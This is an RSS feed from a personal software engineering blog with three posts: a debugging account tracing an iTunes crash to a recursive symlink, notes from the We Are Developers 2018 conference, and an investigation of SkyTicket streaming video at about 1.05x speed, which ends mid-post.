<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[Ahmed Shehata]]></title><description><![CDATA[Ramblings of a Software Engineer about Tech, Security and pretty much everything else. Engineer @ Facebook]]></description><link>https://ashehata.me/</link><image><url>https://ashehata.me/favicon.png</url><title>Ahmed Shehata</title><link>https://ashehata.me/</link></image><generator>Ghost 1.22</generator><lastBuildDate>Thu, 09 Oct 2025 00:45:04 GMT</lastBuildDate><atom:link href="https://ashehata.me/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[The case of the recursive symlink: an iTunes outlook]]></title><description><![CDATA[<div class="kg-card-markdown"><p>On a regular Friday afternoon, I pop in my iPhone to do the regular iTunes backup (<em>like any sane person does</em>). It turns out iTunes is <strong>instantly crashing</strong> when I try to do a backup.</p>
<p>That's not good news.</p>
<p><img src="https://ashehata.me/content/images/2019/07/xi4CC.png" alt="xi4CC"></p>
<p>Trying a couple of times, but still failing, crashes right before</p></div>]]></description><link>https://ashehata.me/2019/07/13/the-case-of-the-recursive-symlink-an/</link><guid isPermaLink="false">5d29d04f245e9a065ca3dde8</guid><category><![CDATA[debugging]]></category><category><![CDATA[osx]]></category><category><![CDATA[macos]]></category><dc:creator><![CDATA[Ahmed Shehata]]></dc:creator><pubDate>Sat, 13 Jul 2019 14:11:19 GMT</pubDate><media:content url="https://ashehata.me/content/images/2019/07/0_Yg8bBB4m51CHOAgd.jpg" medium="image"/><content:encoded><![CDATA[<div class="kg-card-markdown"><img src="https://ashehata.me/content/images/2019/07/0_Yg8bBB4m51CHOAgd.jpg" alt="The case of the recursive symlink: an iTunes outlook"><p>On a regular Friday afternoon, I pop in my iPhone to do the regular iTunes backup (<em>like any sane person does</em>). It turns out iTunes is <strong>instantly crashing</strong> when I try to do a backup.</p>
<p>That's not good news.</p>
<p><img src="https://ashehata.me/content/images/2019/07/xi4CC.png" alt="The case of the recursive symlink: an iTunes outlook"></p>
<p>Trying a couple of times, but still failing, crashes right before I try to do a backup.</p>
<blockquote>
<p><em>Now to give some context on my setup, since I'm using a 128GB iPhone, it's not the best use of storage to backup this mammoth on the primary SSD. I use a <a href="https://reincubate.com/support/guides/change-itunes-backup-location/">symlink approach</a> to point my Backup folder to an external HDD.</em></p>
</blockquote>
<p>First thing I try: as they always say, <a href="https://www.youtube.com/watch?v=p85xwZ_OLX0">have you tried turning it off and on again?</a>. I restart the Mac, start clean, no open apps and let's see.</p>
<h2 id="crashreportanalysis">Crash report analysis</h2>
<p>Still crashes. Looking at the crash report doesn't give you a hint right away.</p>
<pre><code>Process:               iTunes [2360]
Path:                  /Applications/iTunes.app/Contents/MacOS/iTunes
Identifier:            com.apple.iTunes
Version:               12.9.4 (12.9.4)
Build Info:            iTunes-1200012009004094~15
Code Type:             X86-64 (Native)
Parent Process:        ??? [1]
Responsible:           iTunes [2360]
User ID:               502

Date/Time:             2019-07-12 23:47:10.284 +0100
OS Version:            Mac OS X 10.14.4 (18E226)
Report Version:        12
Anonymous UUID:        &lt;MASKED&gt;


Time Awake Since Boot: 840 seconds

System Integrity Protection: enabled

Crashed Thread:        21

Exception Type:        EXC_BAD_ACCESS (SIGBUS)
Exception Codes:       KERN_PROTECTION_FAILURE at 0x000070000e218ff8
Exception Note:        EXC_CORPSE_NOTIFY

Termination Signal:    Bus error: 10
Termination Reason:    Namespace SIGNAL, Code 0xa
Terminating Process:   exc handler [2360]

</code></pre>
<p>Seems that iTunes is trying to access something it's not supposed to?</p>
<p>First thing comes to suspicion is the symlink. Maybe some folder structure changed or the symlink broke for some reason (drive name change, etc..).</p>
<p>I delete the <code>/Library/Application Support/MobileSync/Backup</code> symlink just to be sure. Guess what? Still crashes.</p>
<p>Looking further down through the crash report,</p>
<pre><code>Thread 21 Crashed:
0   libsystem_platform.dylib      	0x00007fff69140271 _platform_strlcpy + 23
1   libsystem_c.dylib             	0x00007fff6902223e realpath$DARWIN_EXTSN + 291
2   com.apple.iTunes              	0x000000010f23eb8e 0x10e906000 + 9669518
3   com.apple.iTunes              	0x000000010f23dbd0 0x10e906000 + 9665488
...
</code></pre>
<p>Now <strong>_platform_strlcpy</strong> is <a href="https://github.com/apple/darwin-libplatform/blob/master/private/platform/compat.h">darwin</a>'s <a href="https://www.freebsd.org/cgi/man.cgi?query=strlcpy&amp;sektion=3">strlcpy</a> C function which (<em>you guessed it</em>) copies a string. Now what is iTunes trying to copy and failing?</p>
<p>My suspicion starts to go to any recently installed apps that might conflict with iTunes, I have recently installed <a href="https://www.malwarebytes.com/">MalwareBytes</a> after the busy month of June <a href="https://arstechnica.com/information-technology/2019/06/june-was-a-busy-month-for-in-the-wild-mac-malware-heres-a-rundown/">Malware festival</a> that was happening. Could it be that MalwareBytes is attempting to &quot;<em>scan</em>&quot; iTunes and causes it to crash?</p>
<p>Spolier alert, uninstalling MalwareBytes does not solve the issue.</p>
<h3 id="upgradingmacos">Upgrading MacOS</h3>
<p>Glancing through <a href="https://eclecticlight.co/2019/03/27/known-bugs-in-macos-mojave-10-14-4-an-incomplete-summary/">hoakley's MacOS 10.14.4's known bug list</a>, it seems there are some that have issues with the <strong>APFS file system</strong>. Maybe that's it?</p>
<p>Upgrading to Mojave 10.14.5 <strong>does not solve</strong> the iTunes crash. So maybe 10.14.4 corrupted the filesystem somehow, let's run <a href="https://support.apple.com/en-gb/guide/disk-utility/dskutl1040/mac">First Aid</a>.<br>
First Aid reports some directory failed checks that it is not able to solve.</p>
<pre><code>Checking snapshot 1 of 6.
error: directory valence check: directory (oid 0x13): nchildren (1) does not match drec count (0) 
warning: snapshot fsroot tree corruptions are not repaired; they'll go away once the snapshot is deleted
error: directory valence check: directory (oid 0x150045): nchildren (2) does not match drec count (0) 
error: directory valence check: directory (oid 0x150063): nchildren (2) does not match drec count (0) 
...
</code></pre>
<p>Now I've dealt with corrupted disks before and trust me, it ain't fun. Literally <strong>anything</strong> and <strong>everything</strong> can go wrong with a corrupted filesystem and it becomes near impossible to debug.</p>
<p>So before giving up and reformatting, I decided to give it another shot, what <em>else</em> can go wrong?</p>
<p>To eliminate variables as much as possible, I try loading up iTunes on a different User Account. Guess what? <strong>It works perfectly fine</strong>.</p>
<p>We got a lead!</p>
<p><img src="https://www.thenational.ae/image/policy:1.625739:1539324516/AC05-fishing-replace.jpg?f=16x9&amp;w=1200&amp;$p$f$w=557df32" alt="The case of the recursive symlink: an iTunes outlook"></p>
<p>It now seems that my user has some kind of <strong>corrupted</strong> settings that iTunes cannot access. Now let's get rid of anything user related that iTunes would access and it should work, right?</p>
<p><img src="https://ashehata.me/content/images/2019/07/Screenshot-2019-07-13-at-2.32.31-pm.jpg" alt="The case of the recursive symlink: an iTunes outlook"></p>
<p>Still crashing, iTunes recreates these settings files and crashes shortly after navigating to the iOS device tab.</p>
<p>At this point I was on the verge of <strong>giving up</strong> and just popping in the <a href="https://support.apple.com/en-gb/HT201250">Time Machine</a> and going back to when it was working, but that is rather a destructive solution that would not solve the <strong>root cause</strong> (<em>which will probably return and haunt me again</em>).</p>
<p>Another <em>less-destructive</em> solution would be to just create a new user and continue life there, but still the bug might return.</p>
<h2 id="digdeeperdebuggingtools">Dig deeper, debugging tools</h2>
<h3 id="xcode">Xcode</h3>
<p>Debugging in Xcode was quite interesting, iTunes <strong>did not crash</strong> when attached to the debugger. This is probably due to Xcode cutting the process some slack when it comes to stack allocations (as we will see below)</p>
<h3 id="fs_usage">fs_usage</h3>
<p>A very useful debugging tool I use is <a href="https://ss64.com/osx/fs_usage.html">fs_usage</a>, it watches the process <strong>manipulate files</strong> in the filesystem and enables you to track down what's really going on. It can be very useful if you are <strong>suspicious</strong> of a process and want to know what it's doing <strong>behind the scenes</strong>.</p>
<p><code>sudo fs_usage iTunes</code></p>
<p>LO AND BEHOLD!</p>
<p>Right before iTunes crashes, it's trying to access these files:</p>
<p><img src="https://ashehata.me/content/images/2019/07/Screenshot-2019-07-13-at-2.46.54-pm.jpg" alt="The case of the recursive symlink: an iTunes outlook"></p>
<p>Now what does iTunes have to do with this directory? Why is it trying to access <a href="https://pokemmo.eu/">PokeMMO</a>'s Application Support?</p>
<blockquote>
<p>PokeMMO is an Unofficial Online Multiplayer Pokemon game that I was really hesitant when installing. It's closed source and seemed shady. (<em>Turns out I was right, kinda?</em>)</p>
</blockquote>
<p>As you can see in the screenshot, it's trying to access the same directory, over and <strong>over</strong> again, around <strong>200,000+ times</strong>. This is absurd!</p>
<p>Right before this massive recursion or loop:</p>
<pre><code>/Users/ahmedshehata                                     0.000004   iTunes.184583
14:42:26.798987  getattrlist                            /Users/ahmedshehata/Pictures                            0.000004   iTunes.184583
14:42:26.798992  getattrlist                            /Users/ahmedshehata/Pictures/PokeMMO Screenshots
</code></pre>
<p>It looks like iTunes is accessing the <code>/Pictures</code> directory (probably to get sync data for photos synced with the iOS Device).</p>
<p>Looking at the <code>/Pictures</code> directory and this is where we <strong>finally find our culprit</strong>. A rouge recursive symlink that has been causing iTunes to crash.</p>
<p>The filesystem calls to list the Pictures directory was probably causing the <strong>stack</strong> to <strong>overflow</strong> when listing through this recursive symlink.</p>
<p><img src="https://ashehata.me/content/images/2019/07/Screenshot-2019-07-13-at-2.55.37-pm.jpg" alt="The case of the recursive symlink: an iTunes outlook"></p>
<p>Now recursive symlinks are no fun, they can break apps randomly, cause the SSD to wear out and cause lots of horrible things to happen.</p>
<p>Deleting the symlink solves the issue as expected.</p>
<p>I hope you have learned some useful <strong>debugging</strong> skills that can help you find the root cause of some undefined behaviour of a program without resorting to extreme measures (such as re-installing Operating System or recovering).</p>
<blockquote>
<p>TLDR: PokeMMO creates a recursive symlink in <code>/Pictures</code> directory that caused iTunes to behave abnormally and crash.</p>
</blockquote>
<p>Thanks for reading and let me know in the comments if you have faced a similar situation and used some cool debugging tools yourself!</p>
</div>]]></content:encoded></item><item><title><![CDATA[We Are Developers 2018 - Key takeaways & Notes]]></title><description><![CDATA[<div class="kg-card-markdown"><p>This year's We Are Developers conference was held in Vienna, the agenda seemed pretty interesting with a lot of talks and workshops.</p>
<p>Our team at Zalando flew there to check it out, I will present my key learnings and notes from the conference:</p>
<h1 id="talks">Talks</h1>
<h2 id="stevewozniakfiresidechat">Steve Wozniak - Fireside Chat:</h2>
<ul>
<li>Steve</li></ul></div>]]></description><link>https://ashehata.me/2018/06/11/we-are-developers-2018-key-takeaways/</link><guid isPermaLink="false">5b1e68b5d9dc790b3601c21d</guid><dc:creator><![CDATA[Ahmed Shehata]]></dc:creator><pubDate>Mon, 11 Jun 2018 13:22:18 GMT</pubDate><media:content url="https://ashehata.me/content/images/2018/06/20953986_1859125070769393_1692569034860143423_n.jpg" medium="image"/><content:encoded><![CDATA[<div class="kg-card-markdown"><img src="https://ashehata.me/content/images/2018/06/20953986_1859125070769393_1692569034860143423_n.jpg" alt="We Are Developers 2018 - Key takeaways & Notes"><p>This year's We Are Developers conference was held in Vienna, the agenda seemed pretty interesting with a lot of talks and workshops.</p>
<p>Our team at Zalando flew there to check it out, I will present my key learnings and notes from the conference:</p>
<h1 id="talks">Talks</h1>
<h2 id="stevewozniakfiresidechat">Steve Wozniak - Fireside Chat:</h2>
<ul>
<li>Steve chats about the past, present and future. He spoke about how he started <strong>Apple</strong> and how was it like back then as a <strong>“Startup in a Garage”</strong></li>
<li>He also talked about what he does nowadays supporting some startups and enjoying life.</li>
<li>He talked a lot about <strong>Facebook</strong> and social media and how it is eating up life, he prefers enjoying <strong>life without smartphones.</strong></li>
<li>He briefly talked about bitcoin and <strong>cryptocurrencies</strong> and thinks it has a big place in the future.</li>
</ul>
<p><img src="https://ashehata.me/content/images/2018/06/IMG_2293.JPG" alt="We Are Developers 2018 - Key takeaways & Notes"></p>
<h2 id="aitidalwavejosephsiroshmicrosoft">AI: Tidal Wave - Joseph Sirosh (Microsoft)</h2>
<ul>
<li>Microsoft has opened up a bunch of <strong>Azure APIs</strong> to developers which would help them bootstrap their apps and <strong>chatbots</strong> that use <strong>AI/Machine Learning/Computer Vision</strong><br>
<a href="https://azure.microsoft.com/en-us/overview/ai-platform/">https://azure.microsoft.com/en-us/overview/ai-platform/</a></li>
<li>Joseph demoed how easy it is to bootstrap a <strong>smart chatbot.</strong><br>
He also demoed a project where some students bootstrapped a full app to <strong>help autism</strong> in France in just <strong>under 2 weeks</strong>. The project used the machine learning Azure API to learn from the user behavior and adapt to that, they got some pretty good results.</li>
<li>Joseph demoed that using Azure APIs for machine learning and AI, for the <strong>JFK assassination documents</strong> use case, they were able to link documents together and find <strong>new evidence links</strong> linking to the case that they previously thought were impossible.</li>
</ul>
<p><img src="https://ashehata.me/content/images/2018/06/IMG_2312.JPG" alt="We Are Developers 2018 - Key takeaways & Notes"></p>
<h2 id="futureofthewebilyagrigorik">Future of the Web - Ilya Grigorik</h2>
<ul>
<li>Ilya talked about how the web looked like a few years ago and how it looks like now.</li>
<li>He mentioned that the web <strong>was designed responsive</strong> from day 1 (CSS,HTML) but people never used the responsive capabilities</li>
<li>He talked about using slight improvements in code and infrastructure that would greatly improve the user experience</li>
<li>He also talked about <strong>instant web apps</strong> and how this improves user experience (example twitter)</li>
<li>He talked about <strong>PWAs</strong> and how smooth it is to the user (<strong>Starbucks</strong> app)</li>
<li>We moved from <strong>Web Only → Mobile Friendly → Mobile first → Mobile only</strong></li>
<li>He mentioned how <strong>server side apps</strong> make the web more fluid.</li>
<li>He also talked about <strong>Desktop apps written in full Javascript</strong>/HTML using <strong><a href="https://electronjs.org/">Electron</a></strong> (VSCode, Spotify, Slack, etc..)</li>
<li><strong>WebAssembly</strong> is also pretty big as it allows full sized desktop apps to be ported to the web (example: <strong>Autodesk</strong>)</li>
<li>He talked about how Google is trying to enforce security (HTTPS) to the world by utilizing the power they have with <strong>Chrome</strong></li>
<li>He talked about how Google is prioritizing Mobile-Friendly websites in search results over desktop-only</li>
</ul>
<p><img src="https://ashehata.me/content/images/2018/06/IMG_2330.JPG" alt="We Are Developers 2018 - Key takeaways & Notes"></p>
<h2 id="facebookbringingartoeveryoneelisexu">Facebook: Bringing AR to Everyone - Elise Xu</h2>
<ul>
<li>Elise from Facebook demoed how advanced AR has come, and how is it situated in the 10-year vision for AR.</li>
<li>Currently at <strong>the 2-year mark</strong>, there are still a lot of work to be done, but they are on the right track.</li>
<li>AR has come a great way and <strong>Facebook</strong> has its own <strong>AR Kit</strong> to produce quality AR apps via its platforms.</li>
</ul>
<p><img src="https://ashehata.me/content/images/2018/06/IMG_2364.JPG" alt="We Are Developers 2018 - Key takeaways & Notes"></p>
<h2 id="johnromerodoom">John Romero - Doom</h2>
<ul>
<li>John talked about his journey in <strong>DOOM</strong> development and how they thrived as a small game development studio.</li>
<li>He talked about how they worked as a team and how they were really enthusiastic about their product, they worked day and night, and on weekends.</li>
<li>He talked about the time where they had to work on the <strong>Nintendo</strong> <strong>SNES</strong> which was a different architecture and they had to port their original code to SNES.</li>
</ul>
<p><img src="https://ashehata.me/content/images/2018/06/IMG_2404.JPG" alt="We Are Developers 2018 - Key takeaways & Notes"></p>
<h2 id="thepowerofcssunakravets">The Power of CSS - Una Kravets</h2>
<ul>
<li>Una demonstrated a lot of CSS tips and tricks that would help speed up rendering and do more with less code.</li>
<li>She demonstrated some new CSS tricks that can be used today to replace what we used to do with JS in the past, making it more efficient and flexible</li>
</ul>
<h2 id="trunkbaseddevelopmentmatthiashuttarolx">Trunk based development - Matthias Huttar (OLX):</h2>
<ul>
<li>Matthias from <strong>OLX</strong> talked about how <strong>Github flow</strong> style was a little bit too slow for them in case they want to develop faster and see more results</li>
<li>They used Trunk based development which is essentially pushing <strong>directly to the master</strong> without blocking for pull request review.</li>
<li>This approach has pros and cons, the pros being <strong>development faster</strong> and being able to test more features in less time.</li>
<li>The cons being that <strong>the code is never reviewed</strong>, the code can be messy and untested at times, it might contain bugs</li>
<li>They have mentioned that it will help in a <strong>startup-based</strong> environment where <strong>speed matters more than quality</strong>.</li>
</ul>
<h2 id="successfulaccomplisheddepresseddennistraub">Successful, Accomplished, Depressed - Dennis Traub</h2>
<ul>
<li>Dennis talked about his experience and adventure from being completely <strong>depressed and destroyed to feeling accomplished and successful.</strong></li>
<li>He talked about his story and how he was not welcome in his own family (due to family issues) and how that affected his life later on.</li>
<li>He mentioned how people boast their success on social media and online, but this is not a measure of happiness</li>
<li>He talked about perfectionism and how this slows down your accomplishments and achievements</li>
<li>One of the main points of <strong>Developer Burnout</strong> is that our results are not tangible, code is just on the computer, psychologically we feel we are doing the same thing everyday with no physical output.</li>
<li><strong>We keep making/finding excuses</strong> of why we didn’t succeed so we can feel better and safe, example: Oh I didn’t pass the test because I didn’t really study, if I would have actually studied, I would have passed the test.</li>
<li>There is always <strong>this perfect version</strong> of yourself that you never really do, but it is in your mind.</li>
</ul>
<p><img src="https://ashehata.me/content/images/2018/06/IMG_2441.JPG" alt="We Are Developers 2018 - Key takeaways & Notes"></p>
<h2 id="chrisheilmannsacrificingthegoldencalfofcoding">Chris Heilmann - Sacrificing the golden calf of coding</h2>
<ul>
<li>Chris talked about best practices, how good code is less code (<strong>IKEA like</strong>), where code is very flexible and simple</li>
<li>He also talked about <strong>re-using open-source software</strong> and components and contributing to them</li>
<li>He also talked about automation and AI and how it is changing our every day thoughts</li>
<li>He talked about everyday development tools and how easy it is to develop, lint, validate</li>
<li>He spoke about how recruiting is so automated now and redundant that <strong>someone's Github bot got a job offer</strong> (by tracking its commits)</li>
<li>He talked about <strong>automating redundant tasks</strong> so developers can save more time on more important issues.</li>
</ul>
<p><img src="https://ashehata.me/content/images/2018/06/IMG_2381.JPG" alt="We Are Developers 2018 - Key takeaways & Notes"></p>
<h2 id="brendaromerosurvivingasagamedev">Brenda Romero - Surviving as a game dev</h2>
<ul>
<li>Brenda talked about her life as a game developer and how it was pretty strange back then to be a “geek” or a game developer.</li>
<li>She mainly spoke about having passion and confidence in what you love and <strong>never stop at road bumps</strong>.</li>
<li>Currently she and John Romero are living in Ireland creating their own games at <strong>Romero Games</strong>.</li>
</ul>
<p><img src="https://ashehata.me/content/images/2018/06/35076610_10216710718710814_1685038738213699584_n.jpg" alt="We Are Developers 2018 - Key takeaways & Notes"></p>
<h2 id="sendingmoneywithinterledgerjsstefanripple">Sending money with Interledger.js - Stefan (Ripple)</h2>
<ul>
<li>This talk was pretty interesting as Stefan from <strong>Ripple</strong> talked about a different future of the web using <strong>cryptocurrency</strong><br>
The main idea of his demo was to have everything on the web with a price; People would <strong>pay to use a website</strong>, just a small fee while using the website, which would be <strong>seamlessly “streamed”</strong> while they use it.</li>
<li>He believes it would encourage creators to create more as only people who believe in their content would pay &amp; watch.</li>
<li>He demoed a video using a <strong>Chrome Extension</strong> that continuously spends money as a user is viewing a certain video.</li>
</ul>
<blockquote>
<p>Think of it as YouTube, and instead of annoying advertisements, you pay per minute of video using this extension, it would be a really small fee, but you end up only paying for what you use.<br>
In this <em>future</em> you <strong>would not pay the internet companies</strong> for internet, but the content creators for their content.</p>
</blockquote>
<ul>
<li>He also talked about the <strong>Interledger Architecture</strong> and how it compares to the <strong>TCP Protocol</strong></li>
</ul>
<p><img src="https://ashehata.me/content/images/2018/06/IMG_2550.JPG" alt="We Are Developers 2018 - Key takeaways & Notes"></p>
<h2 id="theriseandfallofjailbreakingnicolashaunold">The rise and fall of Jailbreaking - Nicolas Haunold</h2>
<ul>
<li>Nicolas from <strong>Airbnb</strong> talked about the state of <strong>iOS Jailbreaking</strong> and how it has taught him a lot over the years.</li>
<li>He joined the <strong>iOS Hacking community</strong> early on and learned a lot from the early days, how Apple implemented security in their software, and learned how to circumvent it.</li>
<li>He spoke about <a href="https://en.wikipedia.org/wiki/Cydia?oldformat=true"><strong>Cydia</strong></a> and how it started as a tweak store, then transformed into a full jailbreak-store.</li>
<li>He spoke about how Apple learned a lot as well from the iOS Jailbreak community and started to implement features (example: <strong>notifications</strong>, the <strong>AppStore, Widgets</strong>, etc..</li>
<li>Nowadays Jailbreak is unfortunately really not so popular for two main reasons:
<ul>
<li>Apple has almost implemented most of the features that people used to Jailbreak for.</li>
<li>Apple have implemented really <strong>tight security</strong> in their platform that it has become very difficult &amp; time consuming to find an exploit, if someone finds a really hard exploit they are more likely to sell it to governments or security agencies than release it to the wild (getting patched just a day later by Apple).</li>
</ul>
</li>
<li>He feels that the hackers/tweakers community will never die, but people will continue to modify the system as they like.</li>
</ul>
<p><img src="https://ashehata.me/content/images/2018/06/IMG_2557.JPG" alt="We Are Developers 2018 - Key takeaways & Notes"></p>
<h2 id="bitcoinethereumopenblockchainsbuildingprogrammablemoneyandreasantonopoulos">Bitcoin, Ethereum, Open Blockchains: Building Programmable Money (Andreas Antonopoulos):</h2>
<ul>
<li>Andreas Antonopoulos is an avid speaker, author and expert about open Blockchain.</li>
<li>He spoke about how <strong>blockchain</strong> technology is the future and how governments are afraid of it because they cannot control it.</li>
<li>He mentioned that <strong>blockchain is unstoppable</strong> and no single entity can control or stop it.</li>
<li>He mentioned that <strong>we are still way early in the blockchain timeline</strong>, people still don’t understand it, pretty much like the pre-internet era, when the internet first came out, people didn’t know how to use it and there were no much uses for it yet.</li>
</ul>
<p><img src="https://ashehata.me/content/images/2018/06/IMG_2546.JPG" alt="We Are Developers 2018 - Key takeaways & Notes"></p>
<h2 id="closingyourwindowwithjavascriptmartinsonnenholzer">Closing your window with Javascript - Martin Sonnenholzer</h2>
<ul>
<li>Martin is a hobbyist programmer with a simple thought, he wanted to automate part of his life, particularly his window.</li>
<li>He talks about his allergy and that he needed to open the window frequently, but the weather in his city was changing frequently so he had to somehow equalize the temperature</li>
<li>He had the idea of automating this procedure, he purchased a temperature sensor, motor for moving the window, and an <strong>Arduino</strong>. With this simple setup he could program a simple <strong>Arduino</strong> program that would regulate opening/closing the window whenever the temperature changes</li>
</ul>
<p><img src="https://ashehata.me/content/images/2018/06/IMG_2566.JPG" alt="We Are Developers 2018 - Key takeaways & Notes"></p>
<h2 id="joelspolskyonsoftware">Joel Spolsky on Software</h2>
<ul>
<li>Joel closed the conference with a great talk about how they built <strong>StackOverflow</strong> and how lightly they thought about it in the past. Today StackOverflow is one of the main go-to websites for development.</li>
<li>He believes developers are confused by ill-written documentation and need some extra help from others who had the same problem.</li>
<li>He explained how the <strong>voting system</strong> in StackOverflow greatly improved the system and allowed users to easily find what they were looking for, thanking the people who have answered in progress.</li>
<li>Finally he mentioned that we should all be respectful to each other, he briefly mentioned <strong>internet bullying</strong> and how it would affect people asking questions online.</li>
</ul>
<p><img src="https://ashehata.me/content/images/2018/06/IMG_2610.JPG" alt="We Are Developers 2018 - Key takeaways & Notes"></p>
<h1 id="workshops">Workshops</h1>
<h2 id="facebookarworkshopyashsahay">Facebook AR Workshop - Yash Sahay</h2>
<ul>
<li>I attended a workshop by Facebook where they demoed how easy it is to <strong>create AR apps</strong> for the Facebook platform</li>
<li>The <strong>AR Studio</strong> is more mature now and has a pretty easy drag-drop mechanism for <strong>creating AR Filters</strong></li>
<li>The interface and UX is similar to <strong>Unity3D</strong> and is really easy for starters (even non-coders can make a filter)</li>
<li>Yash from Facebook presented a small demo on how simple it is to create an AR effect from scratch using AR Studio with a simple PNG image.</li>
<li>Features like tracking the face, eyes, mouth come out of the box, example: (show filter only <strong>when right eye is blinking</strong>, etc..)</li>
</ul>
<p><img src="https://ashehata.me/content/images/2018/06/IMG_2318.JPG" alt="We Are Developers 2018 - Key takeaways & Notes"></p>
<h2 id="triedouthololensmicrosoftbooth">Tried out HoloLens @ Microsoft Booth:</h2>
<ul>
<li>Unfortunately it is still far from perfect, or actually usable. We tried a <strong>BMW advertisement demo</strong> where you can customize your BMW car (color, rims, etc.) in AR</li>
<li>The problem with <strong>Hololens</strong> so far is the <strong>clunky hardware</strong> (but that’s fine, I know it is still early for proper slimmer hardware), but <strong>the field of vision</strong>. The FoV is pretty small, so you <strong>keep losing sense of the AR world</strong> if you slightly drift off the AR vision square in the headset.</li>
<li><strong>The UX (air tapping)</strong> is pretty odd for first starters, and not so accurate, but I believe people will get used to it and find even more UX.</li>
</ul>
<p><img src="https://ashehata.me/content/images/2018/06/IMG_2476-1.JPG" alt="We Are Developers 2018 - Key takeaways & Notes"></p>
<h2 id="realsecuritystartswhereframeworksendsecurityworkshop">Real Security starts where Frameworks end : Security Workshop</h2>
<ul>
<li>Thomas from <strong>SBA Research</strong> conducted a <strong>101 Security workshop</strong> which explained the top 10 security topics (by OWASP) and how people are still falling for these pitfalls.</li>
<li>He gave a demo of how simple <strong>XSS</strong> can be applied to the most simple pages, allowing the attacker to gain access to the <strong>filesystem</strong> and do what they please.</li>
<li>He spoke about modern web frameworks and how updated they might seem, yet they do not handle basic security features like <strong>sanitizing input</strong>, etc..</li>
</ul>
<p><img src="https://ashehata.me/content/images/2018/06/IMG_2589.JPG" alt="We Are Developers 2018 - Key takeaways & Notes"></p>
<h1 id="thankyou">Thank you.</h1>
<p><img src="https://ashehata.me/content/images/2018/06/IMG_2286.JPG" alt="We Are Developers 2018 - Key takeaways & Notes"></p>
</div>]]></content:encoded></item><item><title><![CDATA[SkyTicket, Video Speed: Piracy Prevention or a Quick Byte?]]></title><description><![CDATA[<div class="kg-card-markdown"><p>It's that time of the year again, the realistically-probable TV show <a href="https://en.wikipedia.org/wiki/Westworld_(TV_series)">WestWorld</a> is back with another season that predicts our future and how AI will take over the human race. It's time for some binge watching!</p>
<p><img src="https://ashehata.me/content/images/2018/05/skyticket.jpg" alt="skyticket"></p>
<h2 id="skyticket">Sky Ticket</h2>
<p>Ever since I started searching for WestWorld on Google, I started seeing</p></div>]]></description><link>https://ashehata.me/2018/05/13/sky-ticket-video-speedup-piracy-or-a-quick-byte/</link><guid isPermaLink="false">5af8aef6d9dc790b3601c215</guid><dc:creator><![CDATA[Ahmed Shehata]]></dc:creator><pubDate>Sun, 13 May 2018 22:19:28 GMT</pubDate><media:content url="https://ashehata.me/content/images/2018/05/sky_18-05_sky-ticket_saeulen-ent_1360x765_rdax_590x332.png" medium="image"/><content:encoded><![CDATA[<div class="kg-card-markdown"><img src="https://ashehata.me/content/images/2018/05/sky_18-05_sky-ticket_saeulen-ent_1360x765_rdax_590x332.png" alt="SkyTicket, Video Speed: Piracy Prevention or a Quick Byte?"><p>It's that time of the year again, the realistically-probable TV show <a href="https://en.wikipedia.org/wiki/Westworld_(TV_series)">WestWorld</a> is back with another season that predicts our future and how AI will take over the human race. It's time for some binge watching!</p>
<p><img src="https://ashehata.me/content/images/2018/05/skyticket.jpg" alt="SkyTicket, Video Speed: Piracy Prevention or a Quick Byte?"></p>
<h2 id="skyticket">Sky Ticket</h2>
<p>Ever since I started searching for WestWorld on Google, I started seeing SkyTicket <a href="https://techcrunch.com/2017/03/07/facebook-advanced-measurement/">ads everywhere</a> for WestWorld, I thought I would give it a shot, 4.99 € for 2 months is a good deal to try it out.</p>
<p><img src="https://ashehata.me/content/images/2018/05/IMG_2047.JPG" alt="SkyTicket, Video Speed: Piracy Prevention or a Quick Byte?"></p>
<p>I registered for the subscription and started watching the first season for a quick recap. Using an Android TV based Sony Bravia, the first problem was that Sky Ticket was not available for Android TV. Luckily, my TV has Chromecast built in so it was possible to cast the video from my phone. After changing the audio language to English, the only problem was the accent of <em>some actors</em> (or my TV sound isn't that great).</p>
<p>I thought sure, let's turn on the subtitles (like Netflix) and everything would be cool, but NO, <strong>Sky Ticket does not offer subtitles</strong>. You cannot even add your own from a file (SRT for example), which really sucks. Fiddling around and searching online (using my <em>great</em> German skills), I only found support tickets for Sky Ticket saying it doesn't support subtitles.</p>
<p>Second solution I thought about was playing the video on my Mac and somehow overlaying the subtitles, then <a href="https://en.wikipedia.org/wiki/AirPlay">AirPlaying</a> the content to the TV. Guess what? Sky Ticket on PC/Mac uses <a href="https://www.microsoft.com/silverlight/">Silverlight</a>, which is not even supported on Chrome (so no extensions), and it plays in <strong>horrible SD quality</strong>.</p>
<h2 id="theteleprompter">The Teleprompter</h2>
<p>Having been fed up, I decided to go to the bare metal approach, the <a href="https://en.wikipedia.org/wiki/Teleprompter">teleprompter</a>. You can't go wrong with hardcoded bare metal right? Wrong.</p>
<p><img src="https://ashehata.me/content/images/2018/05/IMG_2218.JPG" alt="SkyTicket, Video Speed: Piracy Prevention or a Quick Byte?"></p>
<p>I downloaded a blank 2-hr video and downloaded the subtitles for WestWorld, loaded it on VLC and started watching.</p>
<p>Everything was fine for a few minutes, then subtitles seemed to drift off slowly (VLC seemed slower than the TV). Adjusted the sync and <strong>again it happens!</strong> I thought it might be the subtitles being a bad translations but no, every file I tried was losing sync.</p>
<p>Next culprit would be VLC right? Maybe my 2-hr long video had VLC start being a smart-ass about translations and try to sync on its own. I tried trimming the blank video to match exactly the episode length, same problem.</p>
<p>Hmm that's weird.. I played around with the playback speed to see if I can speed up the VLC video to match up with the video and <strong>my theory was right!</strong></p>
<p><img src="https://ashehata.me/content/images/2018/05/vlcspeed.jpg" alt="SkyTicket, Video Speed: Piracy Prevention or a Quick Byte?"></p>
<p>Somehow the video on SkyTicket is sped up by a factor of ~1.05x the normal speed. And this was for <strong>every single episode I watched</strong>. Pretty weird, right?</p>
<p>To confirm my theory I checked the running time of the episodes on the SkyTicket website and cross-checked it with IMDB. Turns out it's always around the same factor,</p>
<p>SkyTicket: S02,E01: <strong>1hr,07min</strong><br>
IMDB: S02,E01: <strong>1hr,10min</strong></p>
<p>The difference is <strong>70/1.05 = 66.66666667</strong>, ~67 mins.</p>
<p><img src="https://ashehata.me/content/images/2018/05/imdbsky.jpg" alt="SkyTicket, Video Speed: Piracy Prevention or a Quick Byte?"></p>
